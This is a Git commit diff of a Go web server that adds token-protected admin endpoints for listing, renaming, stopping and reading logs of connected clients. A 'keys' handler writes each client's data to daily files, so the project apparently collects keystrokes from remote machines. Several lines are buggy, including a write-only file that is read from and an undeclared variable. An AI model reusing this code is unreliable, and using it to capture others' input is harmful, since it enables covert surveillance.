Enhances client control

This commit is contained in:
Daniel Svitan
2025-03-29 23:10:18 +01:00
parent 0335c3157e
commit afec6d69c7

View File

@@ -3,9 +3,11 @@ package main
import (
"errors"
"fmt"
"io"
"net/http"
"os"
"path"
"strconv"
"syscall"
"time"
@@ -30,10 +32,6 @@ var dataDir = "."
var token = ""
var upgrader = websocket.Upgrader{}
type ReqData struct {
ID uuid.UUID `json:"id"`
}
type IDParam struct {
ID string `param:"id"`
}
@@ -48,6 +46,23 @@ func authed(next echo.HandlerFunc) echo.HandlerFunc {
}
}
func idparam(next func(echo.Context, uuid.UUID) error) echo.HandlerFunc {
return func(c echo.Context) error {
var data IDParam
err := c.Bind(&data)
if err != nil || data.ID == "" {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
}
id, err := uuid.Parse(data.ID)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "field 'id' is not a uuid"})
}
return next(c, id)
}
}
func main() {
_ = godotenv.Load()
dataDir = os.Getenv("DATA_DIR")
@@ -132,28 +147,80 @@ func main() {
return c.JSON(http.StatusOK, clients)
})
app.GET("/admin/:id/logs", authed(func(c echo.Context) error {
// TODO: finish
return nil
}))
app.POST("/admin/:id/name", authed(func(c echo.Context) error {
return nil
}))
app.POST("/admin/exit", authed(func(c echo.Context) error {
var data ReqData
err := c.Bind(&data)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
app.GET("/admin/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
if client.Obj.ID == id {
return c.JSON(http.StatusOK, client)
}
}
return c.NoContent(http.StatusNotFound)
})))
app.GET("/admin/:id/logs", authed(idparam(func(c echo.Context, id uuid.UUID) error {
date := c.Param("date")
if date == "" {
date = time.Now().Format("2006-01-02")
}
skipRaw := c.Param("skip")
skip := 0
if skipRaw != "" {
skip, err = strconv.Atoi(skipRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "skip is not a number"})
}
}
takeRaw := c.Param("take")
take := 1024
if takeRaw != "" {
take, err = strconv.Atoi(takeRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "take is not a number"})
}
}
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02"), id), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil {
return c.JSON(http.StatusNotFound, echo.Map{"message": "file not found"})
}
_, err = f.Seek(int64(skip), io.SeekStart)
if err != nil {
return c.NoContent(http.StatusInternalServerError)
}
bytes := make([]byte, take)
_, err = f.Read(bytes)
if err != nil {
return c.NoContent(http.StatusInternalServerError)
}
return c.JSON(http.StatusOK, bytes)
})))
app.POST("/admin/:id/name", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
if client.Obj.ID == data.ID {
if client.Obj.ID == id {
client.Obj.Name = c.Param("name")
client.Obj.UpdatedAt = time.Now()
tx := db.Save(client.Obj)
if tx.Error != nil {
return c.NoContent(http.StatusInternalServerError)
}
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
}
}
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
})))
app.POST("/admin/:id/exit", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
if client.Obj.ID == id {
client.ExitWanted = true
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
}
}
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
}))
})))
log.Fatal(app.Start(":8080"))
}
@@ -197,7 +264,7 @@ func keys(c echo.Context) error {
log.Error(err)
}
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02_15-04"), client.Obj.ID.String()), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02"), client.Obj.ID.String()), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil {
log.Error(err)
fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.Obj.ID)